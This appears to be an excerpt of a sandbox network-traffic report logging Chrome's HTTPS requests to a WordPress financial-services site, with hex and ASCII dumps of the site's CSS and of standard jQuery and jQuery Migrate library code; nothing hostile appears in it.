2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 5f 6d 65 6d 62 65 72 20 7b 0d 0a 09 20 20 68 65 69 67 68 74 3a 20 33 38 30 70 78 3b 0d 0a 09 7d 0d 0a 09 2e 66 6f 72 63 65 66 75 6c 6c 77 69 64 74 68 5f 77 72 61 70 70 65 72 5f 74 70 5f 62 61 6e 6e 65 72 20 7b 0d 0a 09 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 09 7d 0d 0a 09 2f 2a 2e 62 61 6e 6e 65 72 31 20 2c 20 23 6c 61 79 65 72 73 6c 69 64 65 72 5f 31 20 7b 0d 0a 09 20 20 68 65 69 67 68 74 3a 20 32 35 30 70 78 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 09 7d 2a 2f 0d 0a 09 2e 63 6f 6e 74 61 63 74 5f 75 73 20 69 66 72 61 6d 65 0d 0a 09 7b 0d 0a 09 09 68 65 69 67 68 74 3a 61 75 74 6f 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 09 7d 0d 0a 09 2e 66 6f 6f 74 65 72 5f 74 78 74 20 70 20 7b 0d 0a 09 20 20 6d 61 72 67 69 6e 3a 20 Data Ascii: _member { height: 380px;}.forcefullwidth_wrapper_tp_banner { height: 100%!important;}/.banner1 , #layerslider_1 { height: 250px!important;}/.contact_us iframe{height:auto!important;}.footer_txt p { margin:
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 70 61 6e 65 6c 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 20 6d 61 72 67 69 6e 3a 30 20 30 20 31 30 70 78 3b 7d 0d 0a 2e 70 75 72 70 6f 73 65 5f 70 61 6e 65 6c 20 7b 70 61 64 64 69 6e 67 3a 32 30 70 78 20 30 20 30 3b 7d 0d 0a 2e 69 6e 6e 65 72 5f 70 61 6e 65 6c 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 20 6d 61 72 67 69 6e 3a 30 20 30 20 31 30 70 78 3b 7d 0d 0a 2e 70 75 72 70 6f 73 65 5f 70 61 6e 65 6c 20 2e 72 69 67 68 74 20 7b 70 61 64 64 69 6e 67 3a 30 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 70 78 3b 7d 0d 0a 0d 0a 2e 63 6f 6e 74 61 63 74 5f 70 61 6e 65 6c 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 70 61 64 64 69 6e 67 3a 30 3b 7d 0d 0a 2e 63 6f 6e 74 61 63 74 5f 70 Data Ascii: panel p {font-size:14px; line-height:24px; margin:0 0 10px;}.purpose_panel {padding:20px 0 0;}.inner_panel h2 {font-size:20px; margin:0 0 10px;}.purpose_panel .right {padding:0; margin-top:15px;}.contact_panel .container {padding:0;}.contact_p
2024-04-11 20:34:55 UTC	1273	IN	Data Raw: 09 2e 62 61 6e 6e 65 72 5f 74 65 78 74 20 68 31 20 7b 0d 0a 09 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 33 70 78 3b 0d 0a 09 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 31 70 78 3b 0d 0a 09 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 36 70 78 3b 0d 0a 09 7d 0d 0a 09 2e 62 61 6e 6e 65 72 5f 74 65 78 74 20 68 31 20 73 70 61 6e 20 7b 0d 0a 09 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 30 70 78 3b 0d 0a 09 7d 0d 0a 09 2e 62 61 6e 6e 65 72 5f 74 65 78 74 20 7b 0d 0a 0d 0a 09 20 20 74 6f 70 3a 20 32 30 25 3b 0d 0a 09 7d 0d 0a 09 2e 61 72 72 6f 77 5f 62 74 6e 20 7b 0d 0a 09 20 20 62 6f 74 74 6f 6d 3a 20 31 35 70 78 3b 0d 0a 0d 0a 09 7d 0d 0a 09 2e 61 72 72 6f 77 5f 62 74 6e 20 61 20 7b 0d 0a 09 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 Data Ascii: .banner_text h1 { font-size: 23px; letter-spacing: -1px; line-height: 26px;}.banner_text h1 span { font-size: 20px;}.banner_text { top: 20%;}.arrow_btn { bottom: 15px;}.arrow_btn a { font-size: 18px

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49749	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:54 UTC	570	OUT	GET /wp-includes/js/jquery/jquery.min.js?ver=3.7.1 HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:55 UTC	728	IN	HTTP/1.1 200 OK Connection: close Content-Length: 87553 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: application/javascript x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "65b959af-15601" last-modified: Tue, 30 Jan 2024 20:18:55 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:55 GMT X-Served-By: cache-ewr18140-EWR, cache-ewr18152-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867695.981535,VS0,VE145 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:55 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 37 2e 31 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.7.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-04-11 20:34:55 UTC	16384	IN	Data Raw: 5d 7d 29 2c 6c 61 73 74 3a 58 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 5b 74 2d 31 5d 7d 29 2c 65 71 3a 58 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 5b 6e 3c 30 3f 6e 2b 74 3a 6e 5d 7d 29 2c 65 76 65 6e 3a 58 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 74 3b 6e 2b 3d 32 29 65 2e 70 75 73 68 28 6e 29 3b 72 65 74 75 72 6e 20 65 7d 29 2c 6f 64 64 3a 58 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 31 3b 6e 3c 74 3b 6e 2b 3d 32 29 65 2e 70 75 73 68 28 6e 29 3b 72 65 74 75 72 6e 20 65 7d 29 2c 6c 74 3a 58 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3b 66 6f 72 28 72 3d 6e 3c 30 3f 6e 2b 74 3a 74 3c 6e 3f 74 3a 6e 3b 30 Data Ascii: ]}),last:X(function(e,t){return[t-1]}),eq:X(function(e,t,n){return[n<0?n+t:n]}),even:X(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:X(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:X(function(e,t,n){var r;for(r=n<0?n+t:t<n?t:n;0
2024-04-11 20:34:55 UTC	16384	IN	Data Raw: 74 68 69 73 2c 74 2c 6e 29 3b 63 65 2e 5f 71 75 65 75 65 48 6f 6f 6b 73 28 74 68 69 73 2c 74 29 2c 22 66 78 22 3d 3d 3d 74 26 26 22 69 6e 70 72 6f 67 72 65 73 73 22 21 3d 3d 65 5b 30 5d 26 26 63 65 2e 64 65 71 75 65 75 65 28 74 68 69 73 2c 74 29 7d 29 7d 2c 64 65 71 75 65 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 63 65 2e 64 65 71 75 65 75 65 28 74 68 69 73 2c 65 29 7d 29 7d 2c 63 6c 65 61 72 51 75 65 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 71 75 65 75 65 28 65 7c 7c 22 66 78 22 2c 5b 5d 29 7d 2c 70 72 6f 6d 69 73 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 31 2c 69 3d 63 65 2e 44 65 66 65 72 72 65 64 Data Ascii: this,t,n);ce._queueHooks(this,t),"fx"===t&&"inprogress"!==e[0]&&ce.dequeue(this,t)})},dequeue:function(e){return this.each(function(){ce.dequeue(this,e)})},clearQueue:function(e){return this.queue(e\|\|"fx",[])},promise:function(e,t){var n,r=1,i=ce.Deferred
2024-04-11 20:34:55 UTC	16384	IN	Data Raw: 29 7b 63 65 2e 66 6e 5b 65 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 3d 5b 5d 2c 72 3d 63 65 28 65 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 2d 31 2c 6f 3d 30 3b 6f 3c 3d 69 3b 6f 2b 2b 29 74 3d 6f 3d 3d 3d 69 3f 74 68 69 73 3a 74 68 69 73 2e 63 6c 6f 6e 65 28 21 30 29 2c 63 65 28 72 5b 6f 5d 29 5b 61 5d 28 74 29 2c 73 2e 61 70 70 6c 79 28 6e 2c 74 2e 67 65 74 28 29 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 6e 29 7d 7d 29 3b 76 61 72 20 5f 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 47 2b 22 29 28 3f 21 70 78 29 5b 61 2d 7a 25 5d 2b 24 22 2c 22 69 22 29 2c 7a 65 3d 2f 5e 2d 2d 2f 2c 58 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 Data Ascii: ){ce.fn[e]=function(e){for(var t,n=[],r=ce(e),i=r.length-1,o=0;o<=i;o++)t=o===i?this:this.clone(!0),ce(r[o])[a](t),s.apply(n,t.get());return this.pushStack(n)}});var _e=new RegExp("^("+G+")(?!px)[a-z%]+$","i"),ze=/^--/,Xe=function(e){var t=e.ownerDocument
2024-04-11 20:34:55 UTC	16384	IN	Data Raw: 6f 70 46 69 78 3a 7b 22 66 6f 72 22 3a 22 68 74 6d 6c 46 6f 72 22 2c 22 63 6c 61 73 73 22 3a 22 63 6c 61 73 73 4e 61 6d 65 22 7d 7d 29 2c 6c 65 2e 6f 70 74 53 65 6c 65 63 74 65 64 7c 7c 28 63 65 2e 70 72 6f 70 48 6f 6f 6b 73 2e 73 65 6c 65 63 74 65 64 3d 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 6e 75 6c 6c 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 74 26 26 28 74 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 Data Ascii: opFix:{"for":"htmlFor","class":"className"}}),le.optSelected\|\|(ce.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parent
2024-04-11 20:34:55 UTC	5633	IN	Data Raw: 64 61 74 61 54 79 70 65 73 5b 30 5d 29 72 65 74 75 72 6e 20 72 3d 65 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 3d 76 28 65 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 29 3f 65 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 28 29 3a 65 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 2c 61 3f 65 5b 61 5d 3d 65 5b 61 5d 2e 72 65 70 6c 61 63 65 28 5a 74 2c 22 24 31 22 2b 72 29 3a 21 31 21 3d 3d 65 2e 6a 73 6f 6e 70 26 26 28 65 2e 75 72 6c 2b 3d 28 41 74 2e 74 65 73 74 28 65 2e 75 72 6c 29 3f 22 26 22 3a 22 3f 22 29 2b 65 2e 6a 73 6f 6e 70 2b 22 3d 22 2b 72 29 2c 65 2e 63 6f 6e 76 65 72 74 65 72 73 5b 22 73 63 72 69 70 74 20 6a 73 6f 6e 22 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7c 7c 63 65 2e 65 72 72 6f 72 28 72 2b 22 20 77 61 73 20 6e 6f 74 20 63 Data Ascii: dataTypes[0])return r=e.jsonpCallback=v(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Zt,"$1"+r):!1!==e.jsonp&&(e.url+=(At.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o\|\|ce.error(r+" was not c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49751	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:54 UTC	578	OUT	GET /wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1 HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:55 UTC	726	IN	HTTP/1.1 200 OK Connection: close Content-Length: 13577 content-type: application/javascript x-fw-server: Flywheel/5.1.0 cache-control: public, max-age=31536000 referrer-policy: no-referrer-when-downgrade x-fw-version: 5.0.0 x-content-type-options: nosniff x-xss-protection: 1 etag: "65b959af-3509" last-modified: Tue, 30 Jan 2024 20:18:55 GMT x-fw-hash: thumialfjs Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:55 GMT X-Served-By: cache-ewr18176-EWR, cache-ewr18152-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867695.994018,VS0,VE60 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 4d 69 67 72 61 74 65 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 28 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 21 30 29 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 Data Ascii: /! jQuery Migrate v3.4.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /"undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){r
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 51 4d 49 47 52 41 54 45 3a 20 22 2b 74 29 2c 73 2e 6d 69 67 72 61 74 65 54 72 61 63 65 26 26 72 2e 74 72 61 63 65 26 26 72 2e 74 72 61 63 65 28 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 74 2c 72 2c 6e 2c 6f 29 7b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 28 6e 2c 6f 29 2c 72 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 75 28 6e 2c 6f 29 2c 72 3d 65 7d 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 2c 72 2c 6e 2c 6f 29 7b 76 61 72 20 61 3d 65 5b 74 5d 3b 65 5b 74 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 26 26 75 28 6e Data Ascii: QMIGRATE: "+t),s.migrateTrace&&r.trace&&r.trace()))}function r(e,t,r,n,o){Object.defineProperty(e,t,{configurable:!0,enumerable:!0,get:function(){return u(n,o),r},set:function(e){u(n,o),r=e}})}function a(e,t,r,n,o){var a=e[t];e[t]=function(){return o&&u(n
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 6f 6e 28 65 2c 74 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 22 5b 22 2b 74 2b 72 2b 27 22 27 2b 6e 2b 27 22 5d 27 7d 29 3b 74 72 79 7b 6e 2e 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 74 29 2c 75 28 22 73 65 6c 65 63 74 6f 72 2d 68 61 73 68 22 2c 22 41 74 74 72 69 62 75 74 65 20 73 65 6c 65 63 74 6f 72 20 77 69 74 68 20 27 23 27 20 6d 75 73 74 20 62 65 20 71 75 6f 74 65 64 3a 20 22 2b 72 5b 30 5d 29 2c 72 5b 30 5d 3d 74 7d 63 61 74 63 68 28 65 29 7b 75 28 22 73 65 6c 65 63 74 6f 72 2d 68 61 73 68 22 2c 22 41 74 74 72 69 62 75 74 65 20 73 65 6c 65 63 74 6f 72 20 77 69 74 68 20 27 23 27 20 77 61 73 20 6e 6f 74 20 66 69 78 65 64 3a 20 22 2b 72 5b 30 5d 29 7d 7d 72 65 74 75 72 6e 20 79 2e 61 70 70 6c 79 28 74 68 69 73 2c 72 29 7d 2c 22 73 Data Ascii: on(e,t,r,n){return"["+t+r+'"'+n+'"]'});try{n.document.querySelector(t),u("selector-hash","Attribute selector with '#' must be quoted: "+r[0]),r[0]=t}catch(e){u("selector-hash","Attribute selector with '#' was not fixed: "+r[0])}}return y.apply(this,r)},"s
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 79 70 65 6f 66 20 65 3b 72 65 74 75 72 6e 28 22 6e 75 6d 62 65 72 22 3d 3d 74 7c 7c 22 73 74 72 69 6e 67 22 3d 3d 74 29 26 26 21 69 73 4e 61 4e 28 65 2d 70 61 72 73 65 46 6c 6f 61 74 28 65 29 29 7d 2c 22 69 73 4e 75 6d 65 72 69 63 22 2c 22 6a 51 75 65 72 79 2e 69 73 4e 75 6d 65 72 69 63 28 29 20 69 73 20 64 65 70 72 65 63 61 74 65 64 22 29 2c 73 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 74 2b 22 5d 22 Data Ascii: function(e){var t=typeof e;return("number"==t\|\|"string"==t)&&!isNaN(e-parseFloat(e))},"isNumeric","jQuery.isNumeric() is deprecated"),s.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){f["[object "+t+"]"
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 5b 61 2d 7a 5d 29 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 7d 29 7d 69 28 73 2e 66 6e 2c 22 72 65 6d 6f 76 65 41 74 74 72 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 73 2e 65 61 63 68 28 65 2e 6d 61 74 63 68 28 77 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 73 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 26 26 72 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 31 21 3d 3d 73 28 74 68 69 73 29 2e 70 72 6f 70 28 74 29 29 72 65 74 75 72 6e 21 28 6e 3d 21 30 29 7d 29 2c 6e 26 26 28 75 28 22 72 65 6d 6f 76 65 41 74 74 72 2d 62 6f 6f 6c 22 2c 22 6a 51 75 65 72 79 2e 66 6e 2e Data Ascii: [a-z])/g,function(e,t){return t.toUpperCase()})}i(s.fn,"removeAttr",function(e){var r=this,n=!1;return s.each(e.match(w),function(e,t){s.expr.match.bool.test(t)&&r.each(function(){if(!1!==s(this).prop(t))return!(n=!0)}),n&&(u("removeAttr-bool","jQuery.fn.
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 28 73 2e 63 73 73 50 72 6f 70 73 7c 7c 7b 7d 2c 7b 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 28 22 63 73 73 50 72 6f 70 73 22 2c 22 6a 51 75 65 72 79 2e 63 73 73 50 72 6f 70 73 20 69 73 20 64 65 70 72 65 63 61 74 65 64 22 29 2c 52 65 66 6c 65 63 74 2e 73 65 74 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 29 29 2c 65 28 22 34 2e 30 2e 30 22 29 3f 28 41 3d 7b 61 6e 69 6d 61 74 69 6f 6e 49 74 65 72 61 74 69 6f 6e 43 6f 75 6e 74 3a 21 30 2c 63 6f 6c 75 6d 6e 43 6f 75 6e 74 3a 21 30 2c 66 69 6c 6c 4f 70 61 63 69 74 79 3a 21 30 2c 66 6c 65 78 47 72 6f 77 3a 21 30 2c 66 6c 65 78 53 68 72 69 6e 6b 3a 21 30 2c 66 6f 6e 74 57 65 69 67 68 74 3a 21 30 2c 67 72 69 64 41 72 65 61 3a 21 30 2c 67 72 69 64 43 6f 6c 75 Data Ascii: (s.cssProps\|\|{},{set:function(){return u("cssProps","jQuery.cssProps is deprecated"),Reflect.set.apply(this,arguments)}})),e("4.0.0")?(A={animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColu
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 74 21 3d 3d 78 28 74 29 26 26 28 6e 3d 73 2e 68 61 73 44 61 74 61 28 65 29 26 26 45 2e 63 61 6c 6c 28 74 68 69 73 2c 65 29 29 26 26 74 20 69 6e 20 6e 3f 28 75 28 22 64 61 74 61 2d 63 61 6d 65 6c 43 61 73 65 22 2c 22 6a 51 75 65 72 79 2e 64 61 74 61 28 29 20 61 6c 77 61 79 73 20 73 65 74 73 2f 67 65 74 73 20 63 61 6d 65 6c 43 61 73 65 64 20 6e 61 6d 65 73 3a 20 22 2b 74 29 2c 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 28 6e 5b 74 5d 3d 72 29 2c 6e 5b 74 5d 29 3a 45 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 2c 22 64 61 74 61 2d 63 61 6d 65 6c 43 61 73 65 22 29 2c 73 2e 66 78 26 26 28 6b 3d 73 2e 54 77 65 65 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 72 75 6e 2c 48 3d 66 75 6e Data Ascii: ng"==typeof t&&t!==x(t)&&(n=s.hasData(e)&&E.call(this,e))&&t in n?(u("data-camelCase","jQuery.data() always sets/gets camelCased names: "+t),2<arguments.length&&(n[t]=r),n[t]):E.apply(this,arguments)},"data-camelCase"),s.fx&&(k=s.Tween.prototype.run,H=fun
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 73 2e 65 76 65 6e 74 2e 61 64 64 50 72 6f 70 28 6f 2e 70 6f 70 28 29 29 3b 72 65 74 75 72 6e 20 74 3d 4f 2e 63 61 6c 6c 28 74 68 69 73 2c 65 29 2c 6e 26 26 6e 2e 66 69 6c 74 65 72 3f 6e 2e 66 69 6c 74 65 72 28 74 2c 65 29 3a 74 7d 2c 22 65 76 65 6e 74 2d 6f 6c 64 2d 70 61 74 63 68 22 29 2c 69 28 73 2e 65 76 65 6e 74 2c 22 61 64 64 22 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 6e 26 26 22 6c 6f 61 64 22 3d 3d 3d 74 26 26 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 6e 2e 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 26 26 75 28 22 6c 6f 61 64 2d 61 66 74 65 72 2d 65 76 65 6e 74 22 2c 22 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 27 6c 6f 61 64 27 2e 2e 2e 29 20 63 61 6c 6c 65 64 20 61 66 74 65 72 20 6c 6f Data Ascii: s.event.addProp(o.pop());return t=O.call(this,e),n&&n.filter?n.filter(t,e):t},"event-old-patch"),i(s.event,"add",function(e,t){return e===n&&"load"===t&&"complete"===n.document.readyState&&u("load-after-event","jQuery(window).on('load'...) called after lo
